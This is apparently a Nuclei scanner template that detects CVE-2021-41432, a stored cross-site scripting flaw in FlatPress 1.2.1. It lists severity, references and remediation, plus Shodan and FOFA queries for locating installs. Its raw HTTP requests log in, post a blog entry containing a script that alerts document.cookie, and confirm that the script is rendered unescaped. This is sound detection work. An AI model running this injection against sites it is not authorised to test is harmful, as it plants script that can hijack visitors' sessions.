FlatPress 1.2.1 - Stored Cross-Site Scripting

id: CVE-2021-41432

info:
  name: FlatPress 1.2.1 - Stored Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can possibly steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    Upgrade to the latest version of FlatPress (1.2.2) or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/flatpressblog/flatpress/issues/88
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41432
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/martinkubecka/CVE-References
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-41432
    cwe-id: CWE-79
    epss-score: 0.01751
    epss-percentile: 0.78066
    cpe: cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: flatpress
    product: flatpress
    shodan-query:
      - http.html:"Flatpress"
      - http.html:"flatpress"
      - http.favicon.hash:-1189292869
    fofa-query:
      - body="flatpress"
      - icon_hash=-1189292869
  tags: cve2021,cve,flatpress,xss,authenticated,oss,intrusive,vuln

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp

        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="user"

        {{username}}
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="pass"

        {{password}}
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="submit"

        Login
        ------WebKitFormBoundarykGJmx9vKsePrMkVp--
      - |
        GET /admin.php?p=entry&action=write HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin.php?p=entry&action=write HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish
      - |
        GET /index.php/2022/10 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body_4, '<p><script>alert(document.cookie)</script></p>')
          - contains(body_4, 'FlatPress')
          - contains(header_4, 'text/html')
          - status_code_4 == 200
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - name="_wpnonce" value="([0-9a-z]+)" />
        internal: true
        part: body